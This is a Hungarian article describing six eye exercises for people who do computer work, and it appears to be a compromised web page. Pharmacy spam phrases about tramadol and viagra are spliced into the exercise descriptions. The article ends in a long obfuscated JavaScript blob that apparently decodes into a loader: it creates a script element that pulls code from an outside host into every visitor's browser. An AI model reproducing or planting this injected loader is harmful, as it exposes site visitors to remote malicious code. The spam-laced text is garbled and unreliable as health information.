Torna a szemednek! 6 lépésben

Maga a szemtornázással látásunk sajnos nem javítható, dioptriánk változni ettől nem fog. Az alábbi gyakorlatokat azoknak ajánljuk akik napközben általában egy pontra fókuszálnak. A számítógépes munka pl. kifejezetten ilyennek számít. Ezzel járó gyakorta panasz a szemszárazság és szem vörösödése, fáradtság érzet.

Számítógépes munkánál ajánljuk még a BlueControl lencsék illetve a műkönny használatát. Ezekről további információkat olvashatsz itt:

Tudatos pislogás tramadol overnight delivery top 10. – a szem és környékének enyhe masszírozásával. Hatására cserélődik a könnyfilm, javul a szem vérellátása, a szem körüli izmok ellazulnak.

Tekintés – A gyakorlat lényege a mozdulatlan egyenes fejtartás mellett csak a szemmel a fő tekintési irányokba (jobbra, fölfele, balra, majd lefele) nézés.

Fókuszálás az orrhegyre –  A gyakorlat lényege egy fixált kép, szöveg távolítása-közelítése.

Takarás – A gyenge, ellustult szem látásának fejlesztése, erősítése a feladat. Pár percre szemünket takarjuk le egy kezünkkel, majd a másikat is.

viagra reviews young men. Fúziós gyakorlat – Ez a gyakorlat az agyat tanítja meg a két szem felől érkező információk összehangolására. Kép segítségével egymást kiegészítő, de kissé különböző képeket vetítenek külön-külön, majd mindkét szem elé. Gyakorlással az agy megtanulja egyszerre észlelni őket. pl. a madár a kalitkába kerül, a bohóc kezében ott a karika és a fején a kalap.

Lazító, „relaxációs” gyakorlatok – Belső szemizmok kifáradásának megelőzési módja a munkamegszakítás, az izmok ellazítása. Közeli fixálás közben távolba kell tekinteni, elrévedni. $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”‘;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())();